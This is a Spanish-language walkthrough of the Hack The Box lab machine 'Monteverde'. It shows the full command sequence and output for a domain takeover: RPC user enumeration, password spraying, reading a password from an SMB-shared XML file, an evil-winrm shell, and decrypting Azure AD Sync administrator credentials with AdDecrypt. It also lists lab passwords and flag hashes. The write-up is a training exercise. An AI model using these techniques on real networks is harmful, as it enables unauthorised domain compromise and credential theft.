Monteverde[MEDIUM🔵]

Dificultad: Medio

1- Reconocimiento y escaneo

1.1 Ping

ping -c 1 10.10.10.172
┌──(root㉿t0mz)-[/home/kali/ctf]
└─# ping -c 1 10.10.10.172           
PING 10.10.10.172 (10.10.10.172) 56(84) bytes of data.
64 bytes from 10.10.10.172: icmp_seq=1 ttl=127 time=168 ms

--- 10.10.10.172 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 168.159/168.159/168.159/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

nmap -sS -sV -p- --min-rate 5000 -open -n -Pn 10.10.10.172 -oN escaneo.txt
┌──(root㉿t0mz)-[/home/kali/ctf/monteverde]
└─# nmap -sS -sV -p- --min-rate 5000 -open -n -Pn 10.10.10.172 -oN escaneo.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-15 21:16 -03
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 63.16% done; ETC: 21:16 (0:00:07 remaining)
Nmap scan report for 10.10.10.172
Host is up (0.17s latency).
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-16 00:16:35Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49750/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.86 seconds

Estamos ante un entorno de directorio activo, por lo que podemos ver puertos comunes de Windows(135, 139 y 445) y Active Directory(53 del dominio del DC, 88 Servidor Kerberos,389 Servidor LDAP y por ultimo el puerto 5985 por lo que podríamos conectarnos mediante evil-winrm si un usuario esta dentro del grupo Remote Management Users)

1.3 crackmapexec

❯ crackmapexec smb 10.10.10.172
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)

El sistema operativo corriendo por detrás es Windows server 2019 en su compilación 17763 de 64 bits, el nombre de la maquina es MONTEVERDE, vemos tambien el dominio del DC "MEGABANK.LOCAL", el servicio SMB para recursos compartidos esta firmado y no soporta SMBv1, por lo que trabajaremos con SMBv2

Sabiendo el dominio del controlador de dominio de la maquina, vamos a agregarlo al archivo /etc/hosts para mayor comodidad y ademas algunas herramientas requieren del dominio en sí y no la IP

❯ nvim /etc/hosts
❯ cat /etc/hosts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 127.0.0.1   localhost
   2   │ 127.0.1.1   t0mz
   3   │ 
   4   │ # HACK THE BOX
   5   │ 10.10.10.172    MEGABANK.LOCAL
   6   │ 
   7   │ # The following lines are desirable for IPv6 capable hosts
   8   │ ::1     localhost ip6-localhost ip6-loopback
   9   │ ff02::1 ip6-allnodes
  10   │ ff02::2 ip6-allrouters
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

2- Explotación

2.1 Servicio RPC

Vamos a intentar conectarnos mediante RPC utilizando la herramienta "rpcclient" para poder enumerar usuarios de la maquina

❯ rpcclient -U '' 10.10.10.172 -N
rpcclient $> 

Y ahora vamos a enumerar usuarios:

rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
rpcclient $> 

Tambien vamos a enumerar los grupos que se encuentran activos dentro de la maquina:

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
rpcclient $> 

Tenemos grupos interesantes como "Azure Admins", tampoco se encuenta el grupo "Domain Admins" que generalmente en hexadecimal se expresan como 0x200

Ahora ya teniendo los usuarios, vamos a guardarnos los mismos en un archivo de texto y mediante expresiones regulares quedarnos con los usuarios en limpio:

❯ cat users.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: users.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ user:[Guest] rid:[0x1f5]
   2   │ user:[AAD_987d7f2f57d2] rid:[0x450]
   3   │ user:[mhope] rid:[0x641]
   4   │ user:[SABatchJobs] rid:[0xa2a]
   5   │ user:[svc-ata] rid:[0xa2b]
   6   │ user:[svc-bexec] rid:[0xa2c]
   7   │ user:[svc-netapp] rid:[0xa2d]
   8   │ user:[dgalanos] rid:[0xa35]
   9   │ user:[roleary] rid:[0xa36]
  10   │ user:[smorgan] rid:[0xa37]
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Y ahora aplicamos las expresiones regulares:

cat users.txt | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > clean_users.txt
❯ cat users.txt | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' >  clean_users.txt
❯ cat clean_users.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: clean_users.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Guest
   2   │ AAD_987d7f2f57d2
   3   │ mhope
   4   │ SABatchJobs
   5   │ svc-ata
   6   │ svc-bexec
   7   │ svc-netapp
   8   │ dgalanos
   9   │ roleary
  10   │ smorgan
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

2.2 Password Spraying

Ya con esto, vamos a realizar un password spraying, que por lo general a veces por mala configuración de los usuarios, a veces el mismo nombre de usuario es la contraseña misma XD

Asi que para realizar esto, vamos a utilizar crackmapexec:

crackmapexec smb 10.10.10.172 -u clean_users.txt -p clean_users.txt --continue-on-success
❯ crackmapexec smb 10.10.10.172 -u clean_users.txt -p clean_users.txt --continue-on-success
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

Tenemos una credencial valida:

Usuario: SABatchJobs
Contraseña: SABatchJobs

2.3 smbclient

Ahora vamos a intentar autenticarnos vía el servicio SMB, ya que con crackmapexec probamos el servicio SMB, a ver si encontramos algún recurso compartido interesante

Pero antes vamos a enumerar los recursos compartidos con estas credenciales con crackmapexec para tambien saber que permisos tenemos sobre los mismos:

crackmapexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares
❯ crackmapexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ            
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       users$          READ

Tenemos permisos de lectura en algunos recursos compartidos, luego de estar investigando el contenido de los mismos, el que nos interesa es el recurso compartido "users$", asi que vamos a conectarnos vía SMB con smbclient al recurso compartido users$:

smbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'
❯ smbclient //10.10.10.172/users$ -U 'SABatchJobs%SABatchJobs'
Try "help" to get a list of possible commands.
smb: \>

Y listamos directorios:

smb: \> dir
  .                                   D        0  Fri Jan  3 10:12:48 2020
  ..                                  D        0  Fri Jan  3 10:12:48 2020
  dgalanos                            D        0  Fri Jan  3 10:12:30 2020
  mhope                               D        0  Fri Jan  3 10:41:18 2020
  roleary                             D        0  Fri Jan  3 10:10:30 2020
  smorgan                             D        0  Fri Jan  3 10:10:24 2020

		31999 blocks of size 4096. 28979 blocks available
smb: \> 

Vamos a meternos al directorio "mhope" que por deducción y logica, son usuarios de la maquina objetivo que estan dentro del entorno de directorio activo:

smb: \> cd mhope\
smb: \mhope\> dir
  .                                   D        0  Fri Jan  3 10:41:18 2020
  ..                                  D        0  Fri Jan  3 10:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 10:40:23 2020

		31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> 

Tenemos un archivo XML, vamos a bajárnoslo para ver que contiene con el comando "get":

smb: \mhope\> get azure.xml 
getting file \mhope\azure.xml of size 1212 as azure.xml (1.7 KiloBytes/sec) (average 1.7 KiloBytes/sec)
smb: \mhope\> 
❯ ls
 azure.xml   clean_users.txt   escaneo.txt   users.txt
❯ cat azure.xml
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: azure.xml   <UTF-16LE>
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
   2   │   <Obj RefId="0">
   3   │     <TN RefId="0">
   4   │       <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
   5   │       <T>System.Object</T>
   6   │     </TN>
   7   │     <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
   8   │     <Props>
   9   │       <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
  10   │       <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
  11   │       <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
  12   │       <S N="Password">4n0therD4y@n0th3r$</S>
  13   │     </Props>
  14   │   </Obj>
  15   │ </Objs>
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Bueno, si recordamos la carpeta del usuario "mhope" contenia este archivo XML que a su vez contiene una contraseña, por lo que:

User: mhope
Password: 4n0therD4y@n0th3r$

2.4 Obtención de shell con evil-winrm

Vamos a verificar si estas credenciales encontradas, son validas para conectarnos mediante evil-winrm, para eso utilizaremos crackmapexec y si nos da como resultado "PWNED", entonces el usuario "mhope" esta dentro del grupo "Remote Management Users" y podremos conectarnos mediante evil-winrm:

crackmapexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
❯ crackmapexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
SMB         10.10.10.172    5985   MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
HTTP        10.10.10.172    5985   MONTEVERDE       [*] http://10.10.10.172:5985/wsman
WINRM       10.10.10.172    5985   MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)

Genial, ya tenemos acceso a la maquina mediante evil-winrm:

evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
❯ evil-winrm -i 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> 

2.5 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "C:\Users\mhope\Desktop\user.txt", vamos a visualizar la flag:

*Evil-WinRM* PS C:\Users\mhope\Documents> type "C:\Users\mhope\Desktop\user.txt"
d3d0d019da9be55d3ef9d2e64d2b55f2
*Evil-WinRM* PS C:\Users\mhope\Documents> 

3- Escalado de privilegios

3.1 Microsoft Azure AD Sync

Si nos vamos al directorio "C:\Program Files"

Veremos que hay una carpeta llamada "Microsoft Azure AD Sync", en esta carpeta, están las credenciales del usuario Administrator hasheadas, hay herramientas en GitHub para realizarles un decrypt y que nos devuelva las contraseñas en texto plano

*Evil-WinRM* PS C:\Program Files> ls


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/2/2020   9:36 PM                Common Files
d-----         1/2/2020   2:46 PM                internet explorer
d-----         1/2/2020   2:38 PM                Microsoft Analysis Services
d-----         1/2/2020   2:51 PM                Microsoft Azure Active Directory Connect
d-----         1/2/2020   3:37 PM                Microsoft Azure Active Directory Connect Upgrader
d-----         1/2/2020   3:02 PM                Microsoft Azure AD Connect Health Sync Agent
d-----         1/2/2020   2:53 PM                Microsoft Azure AD Sync
d-----         1/2/2020   2:38 PM                Microsoft SQL Server
d-----         1/2/2020   2:25 PM                Microsoft Visual Studio 10.0
d-----         1/2/2020   2:32 PM                Microsoft.NET
d-----         1/3/2020   5:28 AM                PackageManagement
d-----         1/2/2020   9:37 PM                VMware
d-r---         1/2/2020   2:46 PM                Windows Defender
d-----         1/2/2020   2:46 PM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:19 AM                Windows Mail
d-----         1/2/2020   2:46 PM                Windows Media Player
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform
d-----        9/15/2018  12:28 AM                windows nt
d-----         1/2/2020   2:46 PM                Windows Photo Viewer
d-----        9/15/2018  12:19 AM                Windows Portable Devices
d-----        9/15/2018  12:19 AM                Windows Security
d-----         1/3/2020   5:28 AM                WindowsPowerShell


*Evil-WinRM* PS C:\Program Files>
d-----         1/2/2020   2:53 PM                Microsoft Azure AD Sync

En nuestro caso para este ataque, vamos a utilizar una herramienta en GitHub llamada "AdSyncDecrypt":

AdSyncDecrypt repo

Créditos al auto del repositorio

Vamos a bajarnos la release inicial del repo, que es un .ZIP

Vamos descomprimirlo:

❯ unzip AdDecrypt.zip
Archive:  AdDecrypt.zip
  inflating: AdDecrypt.exe           
  inflating: mcrypt.dll              
❯ ls
 AdDecrypt.exe   AdDecrypt.zip   azure.xml   clean_users.txt   escaneo.txt   mcrypt.dll   users.txt

Los archivos que tenemos que subir a la maquina objetivo son "AdDecrypt.exe" y la libreria DLL "mcrypt.dll", para subir estos tenemos integrado en evil-winrm el comando "upload"

Para bajarnos estos archivos a la maquina objetivo tenemos que ir a un directorio donde tengamos permisos de escritura, para eso nos dirigiremos al directorio "C:\Windows\Temp", en mi caso lo hare todo desde una carpeta llamda "Privesc"

*Evil-WinRM* PS C:\Program Files> cd ..
*Evil-WinRM* PS C:\> cd Windows/Temp
*Evil-WinRM* PS C:\Windows\Temp> pwd

Path
----
C:\Windows\Temp


Evil-WinRM* PS C:\Windows\Temp> mkdir Privesc
*Evil-WinRM* PS C:\Windows\Temp> cd Privesc
*Evil-WinRM* PS C:\Windows\Temp\Privesc>

Y vamos a subir ambos archivos anteriormente mencionados:

*Evil-WinRM* PS C:\Windows\Temp> upload /home/t0mz/CTF/monteverde/AdDecrypt.exe
                                        
Info: Uploading /home/t0mz/CTF/monteverde/AdDecrypt.exe to C:\Windows\Temp\Privesc\AdDecrypt.exe
                                        
Data: 19796 bytes of 19796 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload /home/t0mz/CTF/monteverde/mcrypt.dll
                                        
Info: Uploading /home/t0mz/CTF/monteverde/mcrypt.dll to C:\Windows\Temp\Privesc\mcrypt.dll
                                        
Data: 445664 bytes of 445664 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\Privesc> 

Una vez subido, ahora si, nos dirigiremos a la carpeta "Microsoft Azure AD Sync" que habiamos encontrado anteriormente:

*Evil-WinRM* PS C:\Windows\Temp> cd ..
*Evil-WinRM* PS C:\Windows> cd ../PROGRA~1
*Evil-WinRM* PS C:\Program Files> cd "Microsoft Azure AD Sync"
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> 

Y a la carpeta "Bin":

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync> cd Bin
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> 

Y ejecutamos la herramienta desde el directorio donde lo guardamos, en este caso la carpeta Temp de Windows

C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\Windows\Temp\Privesc\AdDecrypt.exe -FullSQL

======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!
Domain: MEGABANK.LOCAL

*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> 

Ya tenemos las credenciales del usuario Administrator, vamos a conectarnos mediante evil-winrm con estas credenciales:

evil-winrm -i 10.10.10.172 -u 'Administrator' -p 'd0m@in4dminyeah!'
❯ evil-winrm -i 10.10.10.172 -u 'Administrator' -p 'd0m@in4dminyeah!'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

3.2 Obtención de la flag root

La flag de root se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt", vamos a visualizar la flag:

*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\Administrator\Desktop\root.txt"
fcc160774592b52fe4e5dcc0306f9206
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Con esto, concluimos la maquina "Monteverde" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización